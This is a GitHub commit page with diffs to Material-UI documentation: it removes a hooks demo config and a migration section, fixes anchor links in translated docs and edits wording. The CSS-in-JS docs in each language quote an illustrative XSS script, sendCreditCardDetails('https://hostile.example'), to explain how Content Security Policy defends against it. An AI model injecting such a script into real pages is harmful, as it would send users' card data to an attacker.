Skip to content

Commit cea8cb8

Browse files
reviews
1 parent 08ac17f commit cea8cb8

File tree

111 files changed

+217
-3913
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

111 files changed

+217
-3913
lines changed

docs/src/modules/utils/getDemoConfig.js

-26
Original file line numberDiff line numberDiff line change
@@ -17,31 +17,6 @@ ReactDOM.render(<Demo />, document.querySelector('#root'));
1717
};
1818
}
1919

20-
function hooksDemo(demoData) {
21-
return {
22-
dependencies: getDependencies(demoData.raw, { reactVersion: 'next' }),
23-
files: {
24-
'index.js': `
25-
import React from 'react';
26-
import ReactDOM from 'react-dom';
27-
import Demo from './demo';
28-
import { createMuiTheme } from "@material-ui/core/styles";
29-
import { ThemeProvider } from "@material-ui/styles";
30-
31-
const theme = createMuiTheme();
32-
33-
ReactDOM.render(
34-
<ThemeProvider theme={theme}>
35-
<Demo />
36-
</ThemeProvider>,
37-
document.querySelector("#root")
38-
);
39-
`,
40-
'demo.js': demoData.raw,
41-
},
42-
};
43-
}
44-
4520
function tsDemo(demoData) {
4621
return {
4722
dependencies: getDependencies(demoData.raw, { codeLanguage: CODE_VARIANTS.TS }),
@@ -79,7 +54,6 @@ function getLanguageConfig(demoData) {
7954
case CODE_VARIANTS.TS:
8055
return tsDemo(demoData);
8156
case CODE_VARIANTS.HOOK:
82-
return hooksDemo(demoData);
8357
case CODE_VARIANTS.JS:
8458
return jsDemo(demoData);
8559
default:

docs/src/pages/css-in-js/advanced/advanced-de.md

+3-3
Original file line numberDiff line numberDiff line change
@@ -192,7 +192,7 @@ export default App;
192192

193193
## Klassennamen
194194

195-
You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator) Let's take the following style as an example:
195+
You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator) Let's take the following style as an example:
196196

197197
```jsx
198198
const useStyles = makeStyles({
@@ -283,7 +283,7 @@ Basically, CSP mitigates cross-site scripting (XSS) attacks by requiring develop
283283
<script>
284284
sendCreditCardDetails('https://hostile.example');
285285
</script>
286-
286+
287287

288288
This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.
289289

@@ -322,4 +322,4 @@ Then, you must pass this nonce to JSS so it can add it to subsequent `<style>` t
322322

323323
```jsx
324324
<meta property="csp-nonce" content={nonce} />
325-
```
325+
```

docs/src/pages/css-in-js/advanced/advanced-es.md

+3-3
Original file line numberDiff line numberDiff line change
@@ -192,7 +192,7 @@ export default App;
192192

193193
## Class names
194194

195-
You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator) Let's take the following style as an example:
195+
You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator) Let's take the following style as an example:
196196

197197
```jsx
198198
const useStyles = makeStyles({
@@ -283,7 +283,7 @@ Basically, CSP mitigates cross-site scripting (XSS) attacks by requiring develop
283283
<script>
284284
sendCreditCardDetails('https://hostile.example');
285285
</script>
286-
286+
287287

288288
This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.
289289

@@ -322,4 +322,4 @@ Then, you must pass this nonce to JSS so it can add it to subsequent `<style>` t
322322

323323
```jsx
324324
<meta property="csp-nonce" content={nonce} />
325-
```
325+
```

docs/src/pages/css-in-js/advanced/advanced-fr.md

+3-3
Original file line numberDiff line numberDiff line change
@@ -192,7 +192,7 @@ export default App;
192192

193193
## Class names
194194

195-
You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator) Let's take the following style as an example:
195+
You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator) Let's take the following style as an example:
196196

197197
```jsx
198198
const useStyles = makeStyles({
@@ -283,7 +283,7 @@ Fondamentalement, CSP atténue les attaques XSS (Cross-Site Scripting) en oblige
283283
<script>
284284
sendCreditCardDetails('https://hostile.example');
285285
</script>
286-
286+
287287

288288
Cette vulnérabilité permettrait à l'attaquant d'exécuter n'importe quoi. Cependant, avec un en-tête CSP sécurisé, le navigateur ne chargera pas ce script.
289289

@@ -322,4 +322,4 @@ Ensuite, vous devez transmettre ce nonce à JSS afin qu’il puisse l’ajouter
322322

323323
```jsx
324324
<meta property="csp-nonce" content={nonce} />
325-
```
325+
```

docs/src/pages/css-in-js/advanced/advanced-ja.md

+3-3
Original file line numberDiff line numberDiff line change
@@ -192,7 +192,7 @@ export default App;
192192

193193
## Class names
194194

195-
You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator) Let's take the following style as an example:
195+
You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator) Let's take the following style as an example:
196196

197197
```jsx
198198
const useStyles = makeStyles({
@@ -283,7 +283,7 @@ Basically, CSP mitigates cross-site scripting (XSS) attacks by requiring develop
283283
<script>
284284
sendCreditCardDetails('https://hostile.example');
285285
</script>
286-
286+
287287

288288
This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.
289289

@@ -322,4 +322,4 @@ Then, you must pass this nonce to JSS so it can add it to subsequent `<style>` t
322322

323323
```jsx
324324
<meta property="csp-nonce" content={nonce} />
325-
```
325+
```

docs/src/pages/css-in-js/advanced/advanced-pt.md

+3-3
Original file line numberDiff line numberDiff line change
@@ -192,7 +192,7 @@ export default App;
192192

193193
## Class names
194194

195-
You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator) Let's take the following style as an example:
195+
You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator) Let's take the following style as an example:
196196

197197
```jsx
198198
const useStyles = makeStyles({
@@ -283,7 +283,7 @@ Basically, CSP mitigates cross-site scripting (XSS) attacks by requiring develop
283283
<script>
284284
sendCreditCardDetails('https://hostile.example');
285285
</script>
286-
286+
287287

288288
This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.
289289

@@ -322,4 +322,4 @@ Then, you must pass this nonce to JSS so it can add it to subsequent `<style>` t
322322

323323
```jsx
324324
<meta property="csp-nonce" content={nonce} />
325-
```
325+
```

docs/src/pages/css-in-js/advanced/advanced-ru.md

+3-3
Original file line numberDiff line numberDiff line change
@@ -192,7 +192,7 @@ export default App;
192192

193193
## Имена классов
194194

195-
You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator) Let's take the following style as an example:
195+
You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator) Let's take the following style as an example:
196196

197197
```jsx
198198
const useStyles = makeStyles({
@@ -283,7 +283,7 @@ Basically, CSP mitigates cross-site scripting (XSS) attacks by requiring develop
283283
<script>
284284
sendCreditCardDetails('https://hostile.example');
285285
</script>
286-
286+
287287

288288
This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.
289289

@@ -322,4 +322,4 @@ Then, you must pass this nonce to JSS so it can add it to subsequent `<style>` t
322322

323323
```jsx
324324
<meta property="csp-nonce" content={nonce} />
325-
```
325+
```

docs/src/pages/css-in-js/advanced/advanced-zh.md

+3-3
Original file line numberDiff line numberDiff line change
@@ -192,7 +192,7 @@ export default App;
192192

193193
## Class names
194194

195-
您可能已经注意到我们的样式解决方案生成的类名称**不确定性**,所以你不能依赖它们保持不变。 类名由 [生成,我们的类名生成器](/css-in-js/api/#creategenerateclassname--options----class-name-generator) 让我们以下面的样式为例:
195+
您可能已经注意到我们的样式解决方案生成的类名称**不确定性**,所以你不能依赖它们保持不变。 类名由 [生成,我们的类名生成器](/css-in-js/api/#creategenerateclassname-options-class-name-generator) 让我们以下面的样式为例:
196196

197197
```jsx
198198
const useStyles = makeStyles({
@@ -283,7 +283,7 @@ const Button = withStyles(styles, { name: 'button' })(ButtonBase);
283283
<script>
284284
sendCreditCardDetails('https://hostile.example');
285285
</script>
286-
286+
287287

288288
此漏洞允许攻击者执行任何操作。 但是,使用安全的CSP标头,浏览器将不会加载此脚本。
289289

@@ -322,4 +322,4 @@ header('Content-Security-Policy')
322322

323323
```jsx
324324
<meta property="csp-nonce" content={nonce} />
325-
```
325+
```

docs/src/pages/css-in-js/advanced/advanced.md

+3-4
Original file line numberDiff line numberDiff line change
@@ -203,7 +203,7 @@ export default App;
203203

204204
You may have noticed that the class names generated by our styling solution are **non-deterministic**,
205205
so you can't rely on them to stay the same.
206-
The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator)
206+
The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator)
207207
Let's take the following style as an example:
208208

209209
```jsx
@@ -273,11 +273,10 @@ We provide an option to make the class names **deterministic** with the [`danger
273273
- production: `.AppBar-root`
274274

275275
⚠️ **Be cautious when using `dangerouslyUseGlobalCSS`.**
276-
We provide this option as an escape hatch for prototyping.
277276
Relying on it for code running in production has the following implications:
278277

279-
- Global CSS is inherently fragile. People use strict methodologies like [BEM](http://getbem.com/introduction/) to workaround the issue.
280-
- It's harder to keep track of `classes` API changes.
278+
- It's harder to keep track of `classes` API changes between major releases.
279+
- Global CSS is inherently fragile.
281280

282281
⚠️ When using `dangerouslyUseGlobalCSS` standalone (without Material-UI), you should name your style sheets using the `options` parameter:
283282

docs/src/pages/css-in-js/basics/basics.md

+3-21
Original file line numberDiff line numberDiff line change
@@ -10,13 +10,13 @@ You can use it, but you don't have to. This styling solution is [interoperable w
1010

1111
In previous versions, Material-UI has used LESS, then a custom inline-style solution to write the style of the
1212
components, but these approaches have proven to be limited. Most recently, we have [moved toward](https://github.com/oliviertassinari/a-journey-toward-better-style)
13-
a *CSS-in-JS* solution. It **unlocks many great features** (theme nesting, dynamic styles, self-support, etc.).
13+
a *CSS in JS* solution. It **unlocks many great features** (theme nesting, dynamic styles, self-support, etc.).
1414
We think that this is the future:
1515

1616
- [A Unified Styling Language](https://medium.com/seek-blog/a-unified-styling-language-d0c208de2660)
17-
- [Convert SCSS (Sass) to CSS-in-JS](https://egghead.io/courses/convert-scss-sass-to-css-in-js)
17+
- [Convert SCSS (Sass) to CSS in JS](https://egghead.io/courses/convert-scss-sass-to-css-in-js)
1818

19-
Material-UI's styling solution is inspired by many other CSS-in-JS libraries like [styled-components](https://www.styled-components.com/) and [emotion](https://emotion.sh/).
19+
Material-UI's styling solution is inspired by many other CSS in JS libraries like [styled-components](https://www.styled-components.com/) and [emotion](https://emotion.sh/).
2020

2121
- 💅 You can expect [the same advantages](https://www.styled-components.com/docs/basics#motivation) as styled-components.
2222
- 🚀 It's [blazing fast](https://github.com/mui-org/material-ui/blob/next/packages/material-ui-benchmark/README.md#material-uistyles).
@@ -36,24 +36,6 @@ npm install @material-ui/styles
3636
yarn add @material-ui/styles
3737
```
3838

39-
### Migration for `@material-ui/core` users
40-
41-
To switch from the default style implementation to this newest version, you need to execute the following code **before importing any** Material-UI's components:
42-
43-
```js
44-
import { install } from '@material-ui/styles';
45-
46-
install();
47-
```
48-
49-
It is **recommended** to place the above code in a separate file (e.g. `bootstrap.js`) and to import it in your application's entry point (e.g. `index.js`).
50-
This ensures that the installation is executed before anything else, because ECMAScript imports are hoisted to the top of the module. If the installation step is not performed correctly the resulting build could have conflicting class names.
51-
52-
We will make `@material-ui/styles` the default style implementation for the core components in Material-UI v4. This installation step is **temporary**.
53-
Behind the scenes, the `install()` function switches the styling engine the core components use.
54-
55-
Also, the `@material-ui/core/MuiThemeProvider` component can be replaced with `@material-ui/styles/ThemeProvider`. We will remove this component in v4.
56-
5739
## Getting started
5840

5941
We provide 3 different APIs. They all share the same underlying logic.

docs/src/pages/customization/css-in-js/CssInJs.js

-60
This file was deleted.

docs/src/pages/customization/css-in-js/Hook.js

-24
This file was deleted.

0 commit comments

Comments
 (0)